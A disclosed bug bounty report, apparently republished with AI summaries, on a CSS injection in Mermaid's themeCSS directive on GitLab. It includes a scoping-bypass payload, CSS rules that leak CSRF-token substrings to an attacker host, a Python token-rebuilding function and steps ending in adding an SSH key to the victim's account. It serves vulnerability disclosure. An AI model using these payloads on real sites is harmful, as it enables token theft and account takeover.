CSS injection via unmatched curly brace in Mermaid themeCSS directive allows exfiltrating CSRF tokens, enabling CSRF against gitlab.com
Mermaid's themeCSS directive failed to scope CSS selectors after an unmatched closing curly brace, allowing arbitrary CSS injection. An attacker could exfiltrate a user's CSRF token via CSS selectors and then perform actions as that user, such as adding an SSH key.
GitLab
Originally disclosed on GitLab
- Fixed in 49 days
- Disclosed after 49 days
HackerOne report #1411518 by arw9234 on 2021-11-29, assigned to @rshambhuni:
Report | Attachments | How To Reproduce
Report
Summary
In report #1259491, I described a way to inject arbitrary CSS into markdown-enabled pages via Mermaid's themeCSS directive. The themeCSS directive allows specifying custom CSS to style a diagram like so:
%%{init: { 'themeCSS': '* { color: red }' } }%%
Mermaid attempts to rewrite the CSS in the directive and scope all selectors to the diagram's parent element to prevent themeCSS directives from targeting elements outside of the diagram. The above directive, for example, will cause Mermaid to embed CSS like the following in a <style> tag:
### mermaid-<random-int> * {
color: red;
}
where #mermaid-<random-int> is the randomly-generated id of the diagram's outermost element.
After report #1259491, Mermaid correctly handles backslash-escaped characters in CSS selectors in a themeCSS directive. However, if a themeCSS directive contains an unmatched closing curly brace, Mermaid strip it from the directive and will not attempt to scope any selectors following the unmatched brace. For example, if the following directive were used in a Mermaid diagram:
%%{init: { 'themeCSS': '} * { color: red }' } }%%
the unmatched closing curly brace at the beginning of the directive will prevent Mermaid from recognizing and scoping the following selector and will cause the ruleset
* {
color: red
}
to be embedded in the output, which targets all elements on the page.
Using this, we can reproduce the same behavior from #1259491 and exfiltrate GitLab users' CSRF tokens to perform arbitrary actions as other users. To exfiltrate users' tokens, we can inject CSS rules that target the following <meta> element on the page containing the user's CSRF token based on its content attribute:
<meta name="csrf-token" content="[random base64 string]">
and post callbacks to an attacker-controlled server based on the attribute's content using CSS rules like background-image. Since GitLab's CSP blocks [@]import rules in stylesheets, all the CSS needed to exfiltrate the token has to be delivered up-front. To exfiltrate the token, I first inject 54872 CSS rules that target every possible 3-character-long case-insensitive substring in the token using selectors like the following:
[content*=AAA i] {
--A: url(https://as11.ga?A)
}
[content*=AAB i] {
--B: url(https://as11.ga?B)
}
[content*=AAC i] {
--C: url(https://as11.ga?C)
}
...
[content*="//+"i] {
--NZW: url(https://as11.ga?NZW)
}
[content*="///"i] {
--NZX: url(https://as11.ga?NZX)
}
Every selector that applies will set a custom property on the element to a url value pointing to as11.ga with a unique query parameter. I then do the same for every 2-character-long case-sensitive substring within the token (4096 possibilities) using selectors like the following:
[content*=AA] {
--NZY: url(https://as11.ga?NZY)
}
[content*=AB] {
--NZZ: url(https://as11.ga?NZZ)
}
[content*=AC] {
--NZa: url(https://as11.ga?NZa)
}
...
[content*="/+"] {
--OZW: url(https://as11.ga?OZW)
}
[content*="//"] {
--OZX: url(https://as11.ga?OZX)
}
and finally the same 4096 selectors again, except modified to select the <meta> element based on the first 2 characters of the content attribute only:
[content^=AA] {
--OZY: url(https://as11.ga?OZY)
}
[content^=AB] {
--OZZ: url(https://as11.ga?OZZ)
}
[content^=AC] {
--OZa: url(https://as11.ga?OZa)
}
...
[content^="/+"] {
--PZW: url(https://as11.ga?PZW)
}
[content^="//"] {
--PZX: url(https://as11.ga?PZX)
}
Spreading the 63064 rules needed to exfiltrate this amount of information across ~70 Mermaid diagrams can be done while staying under the 5MB rendering limit on markdown files in repositories and staying under Mermaid's 50000 character limit in diagrams.
Finally, I use the name of every custom property above on a background-image rule, like so:
[name*=k] {
background-image: var(--A, url()), var(--B, url()), var(--C, url()), ..., var(--PZX, url())
}
background-image accepts a comma-separated list of URLs that point to images, in which case the browser will request all of them and superimpose the results. For each of the variables above that are set, the browser will send a request to the url it contains. For variables are not set, the browser will use url() as a fallback, which has no effect. The attacker's server can then use the query parameter in each callback to figure out which selector was responsible for causing the callback. For example, if the server at as11.ga receives a request with query string A, it knows the following selector must have applied to the <meta> element:
[content*=AAA i] {
--A: url(https://as11.ga?A)
}
and therefore it knows the token must contain the substring AAA or a case-insensitive variant of it. Likewise, if it also receives a request with query string OZY, it knows the following selector must have also applied to the <meta> element:
[content^=AA] {
--OZY: url(https://as11.ga?OZY)
}
and therefore it knows the token must also begin with the string AA, and so on. This allows every unique 2-character-long substring in the token, every unique 3-character-long case-insensitive substring in the token, and the start of the token to be determined by an attacker. This is enough information to rebuild the token the majority of the time. I use the following python script to reassemble the token:
### returns all the possible strings that can be formed from the given information
### could return more than 1 possibility
def rebuild(start, rest_of_pieces, known_longer_sequences, target_length):
possibilities = []
for possible_next_piece in filter(lambda piece: piece[0 : -1] == start[len(start) - len(piece) + 1:], rest_of_pieces):
possible_start = start + possible_next_piece[-1:]
# eliminate possibilities if they contain a 3-char sequence that we should have found but didn't
if possible_start[-3:].upper() in known_longer_sequences:
rest = rest_of_pieces.copy()
rest.remove(possible_next_piece)
possibilities.append({
'start': possible_start,
'rest_of_pieces': rest
})
if len(possibilities) == 1 and len(possibilities[0]['start']) == target_length:
yield possibilities[0]['start']
else:
for possibility in possibilities:
yield from rebuild(possibility['start'], possibility['rest_of_pieces'], known_longer_sequences, target_length)
The above script starts with the known start of the token as the only potential prefix and generates potential longer prefixes by observing what 2-character-long substrings start with the same character that the current prefix ends in, then eliminates the prefix if possible by checking if it contains 3-character-long substrings that no callback was received for, then recurses for each new prefix. It eventually hones in on a set of 1 or more potential tokens that could have caused all the callbacks received, one of which is correct.
A malicious site could utilize this by rendering a malicious markdown file in a repository in another window, waiting for all the callbacks from the page, rebuilding the token, and then posting a cross-site form using the rebuilt CSRF token to perform arbitrary actions as a GitLab user. The example I attach below uses the CSRF token to add an SSH key to the user's account (same as #1259491), which can be used to access all the user's repositories, but any action can be taken as the target user. If used against a GitLab instance administrator, an attacker could use the CSRF token to grant themselves administrator access on the instance. I have attached a markdown file containing Mermaid diagrams with themeCSS directives that inject the above CSS rules into the page (the same file from #1259491 slightly modified to use the new method for escaping Mermaid's CSS sanitization) and a python web server that renders the markdown page in a popup window, listens for callbacks, reassembles the token, and posts a cross-site form to add an SSH key to the user's account (the same script from #1259491).
Steps to reproduce
Do the following on a machine other than the one running the gitlab instance you are reproducing against:
- Run the attached python script with the following command (sudo is needed to bind to port 443):
sudo python3 server.py
- Add an entry to
/etc/hostspointingas11.gato localhost, like so:
127.0.0.1 localhost
127.0.0.1 as11.ga # add this line so that as11.ga points to the server running server.py
...
- Upload the attached markdown file to a repository on gitlab.com or your local gitlab instance
- Visit
https://as11.ga/csrfand accept the server's self-signed certificate - Fill in your gitlab instance's url and you username/repository name
- Click Start Attack. Avoid clicking back inside the demo page except to restart it because the page will reuse the popup window to send the CSRF forms without navigating away from the page, and the browser won't load them if the popup window is out of focus.
Impact
A malicious site can gain access to any repositories a victim user has access to or perform actions as a GitLab user if it can keep the user on the site for a period of time.
What is the current bug behavior?
Mermaid does not correctly handle mismatched curly braces in a themeCSS directive, allowing user-generated CSS rulesets that follow an unmatched closing curly brace to target elements outside of the diagram.
What is the expected correct behavior?
Mermaid should scope CSS selectors that follow an unmatched closing curly brace in a themeCSS directive or reject malformed CSS in a themeCSS directive, or GitLab should sandbox Mermaid-generated HTML in an <iframe> or similar to prevent Mermaid-generated CSS from targeting elements outside of the diagram.
Relevant logs and/or screenshots
I've attached a video below showing the attack being performed and an SSH token being added to my account on a local GitLab instance.
Output of checks
This bug happens on GitLab.com
Results of GitLab environment info
Output of sudo gitlab-rake gitlab:env:info:
System information
System: Ubuntu 18.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.4p191
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.6
Redis Version: 6.0.16
Git Version: 2.33.1.
Sidekiq Version:6.2.2
Go Version: unknown
GitLab information
Version: 14.5.0-ee
Revision: 490a8efda84
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.6
URL: https://localhost.as10.ga
HTTP Clone URL: https://localhost.as10.ga/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.22.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Best regards,
[@]arw9234
Impact
A malicious site can gain access to any repositories a victim user has access to or perform actions as a GitLab user if it can keep the user on the site for a period of time.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Mermaid's CSS scoping logic did not handle an unmatched closing curly brace, so selectors after it were not scoped and could target elements outside the diagram.
Impact
A malicious site could gain access to any repositories a victim user has access to or perform actions as a GitLab user if it can keep the user on the site for a period of time; GitLab's CSP blocks @import rules, so all CSS must be delivered up-front, but the attack still works.
What the attacker needed
Victim visits attacker's site; attacker can render malicious markdown; victim stays on site for a period
How it was found
- Run the attached Python server with sudo to bind to port 443.
- Add an entry to /etc/hosts pointing the attacker domain to localhost.
- Upload the attached markdown file containing Mermaid diagrams to a GitLab repository.
- Visit the attacker's site and accept the self-signed certificate.
- Fill in the GitLab instance URL and username/repository name.
- Click Start Attack and keep the popup window focused.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Mermaid is a tool that turns text into diagrams. It lets you add custom styling with CSS, but it tries to keep that styling inside the diagram. A bug let a special character break that protection, so an attacker could style the whole page and secretly read a secret token from the page. With that token, the attacker could make the victim's browser perform actions on GitLab without the victim knowing.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.